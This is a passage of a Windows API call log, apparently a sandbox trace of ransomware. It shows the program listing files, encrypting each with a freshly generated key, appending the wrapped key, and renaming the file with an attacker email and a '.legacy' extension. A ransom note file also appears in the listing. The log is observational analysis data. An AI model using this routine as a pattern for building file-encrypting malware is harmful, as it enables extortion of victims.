(dwErrCode=0x0) [0104.079] GetLastError () returned 0x0 [0104.079] SetLastError (dwErrCode=0x0) [0104.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0104.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d190 [0104.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0104.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0104.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0928 [0104.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0928 | out: hHeap=0x520000) returned 1 [0104.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0104.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0104.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0104.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0104.079] FindNextFileW (in: hFindFile=0x5a08e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d3120d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0104.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0104.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0104.079] GetLastError () returned 0x0 [0104.079] SetLastError (dwErrCode=0x0) [0104.079] GetLastError () returned 0x0 [0104.080] SetLastError (dwErrCode=0x0) [0104.080] GetLastError () returned 0x0 [0104.080] SetLastError (dwErrCode=0x0) [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0104.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ea8 [0104.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ea8 | out: hHeap=0x520000) returned 1 [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0104.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0104.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0104.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0104.080] FindNextFileW (in: hFindFile=0x5a08e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0104.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0104.080] GetLastError () returned 0x0 [0104.080] SetLastError (dwErrCode=0x0) [0104.080] GetLastError () returned 0x0 [0104.080] SetLastError (dwErrCode=0x0) [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0104.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0104.080] GetLastError () returned 0x0 [0104.080] SetLastError (dwErrCode=0x0) [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0104.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0104.080] FindNextFileW (in: hFindFile=0x5a08e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0104.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0104.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0104.080] GetLastError () returned 0x0 [0104.081] SetLastError (dwErrCode=0x0) [0104.081] GetLastError () returned 0x0 [0104.081] SetLastError (dwErrCode=0x0) [0104.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0104.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0104.081] GetLastError () returned 0x0 [0104.081] SetLastError (dwErrCode=0x0) [0104.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0104.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0104.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0104.081] FindNextFileW (in: hFindFile=0x5a08e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d3120d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d3120d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d577ca, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0104.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0104.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0104.081] GetLastError () returned 0x0 [0104.081] SetLastError (dwErrCode=0x0) [0104.081] GetLastError () returned 0x0 [0104.081] SetLastError (dwErrCode=0x0) [0104.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0104.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0104.081] GetLastError () returned 0x0 [0104.081] SetLastError (dwErrCode=0x0) [0104.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0104.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0104.081] FindNextFileW (in: hFindFile=0x5a08e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0104.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0104.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0104.081] GetLastError () returned 0x0 [0104.081] SetLastError (dwErrCode=0x0) [0104.081] GetLastError () returned 0x0 [0104.082] SetLastError (dwErrCode=0x0) [0104.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0104.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0104.082] GetLastError () returned 0x0 [0104.082] SetLastError (dwErrCode=0x0) [0104.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f90 [0104.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f90 | out: hHeap=0x520000) returned 1 [0104.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0104.082] FindNextFileW (in: hFindFile=0x5a08e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0104.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0104.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0104.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0104.082] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0104.082] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0104.082] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1049\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0104.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0104.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0104.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0104.082] CreateFileW (lpFileName="\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc [0104.083] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18264) returned 1 [0104.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5c0f88 [0104.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5c56e8 [0104.083] ReadFile (in: hFile=0x4cc, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0104.146] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.146] WriteFile (in: hFile=0x4cc, lpBuffer=0x5c56e8*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c56e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0104.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0104.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c56e8 | out: hHeap=0x520000) returned 1 [0104.149] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4758 [0104.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0104.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0104.150] WriteFile (in: hFile=0x4cc, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0104.150] WriteFile (in: hFile=0x4cc, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0104.150] CloseHandle (hObject=0x4cc) returned 1 [0104.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0104.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0104.150] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1049\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0104.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0104.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0104.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0104.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0104.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0104.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0104.153] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0104.154] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0104.154] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1049\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0104.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0104.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0104.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0104.154] CreateFileW (lpFileName="\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc [0104.154] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=81482) returned 1 [0104.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13e4a) returned 0x5c0f88 [0104.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13e4a) returned 0x2f20048 [0104.156] ReadFile (in: hFile=0x4cc, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x13e4a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x13e4a, lpOverlapped=0x0) returned 1 [0104.941] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=-81482, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.941] WriteFile (in: hFile=0x4cc, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0x13e4a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13e4a, lpOverlapped=0x0) returned 1 [0104.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0104.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0104.946] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13e4a [0104.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0104.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0104.947] WriteFile (in: hFile=0x4cc, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0104.947] WriteFile (in: hFile=0x4cc, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0104.947] CloseHandle (hObject=0x4cc) returned 1 [0104.948] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0104.948] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0104.948] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1049\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0104.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0104.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0104.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0104.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0104.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0104.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0104.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0104.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d140 | out: pbBuffer=0x54d140) returned 1 [0104.951] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1049\\eula.rtf", dwFileAttributes=0x80) returned 1 [0104.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0104.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0104.951] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0104.951] CreateFileW (lpFileName="\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc [0104.952] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=54456) returned 1 [0104.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd4b8) returned 0x5c0f88 [0104.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd4b8) returned 0x2f20048 [0104.953] ReadFile (in: hFile=0x4cc, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0xd4b8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0xd4b8, lpOverlapped=0x0) returned 1 [0104.977] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=-54456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.977] WriteFile (in: hFile=0x4cc, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0xd4b8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd4b8, lpOverlapped=0x0) returned 1 [0104.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0104.979] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0104.982] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd4b8 [0104.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0104.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0104.984] WriteFile (in: hFile=0x4cc, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0104.984] WriteFile (in: hFile=0x4cc, lpBuffer=0x54d140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d140*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0104.984] CloseHandle (hObject=0x4cc) returned 1 [0104.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0104.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0104.984] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1049\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0104.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0104.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0104.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0104.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0104.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0104.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0104.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0104.986] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d577ca, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0928 [0104.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0104.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0104.986] GetLastError () returned 0x0 [0104.986] SetLastError (dwErrCode=0x0) [0104.986] GetLastError () returned 0x0 [0104.986] SetLastError (dwErrCode=0x0) [0104.986] GetLastError () returned 0x0 [0104.986] SetLastError (dwErrCode=0x0) [0104.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0104.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0104.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0104.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0104.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0de8 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0de8 | out: hHeap=0x520000) returned 1 [0104.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 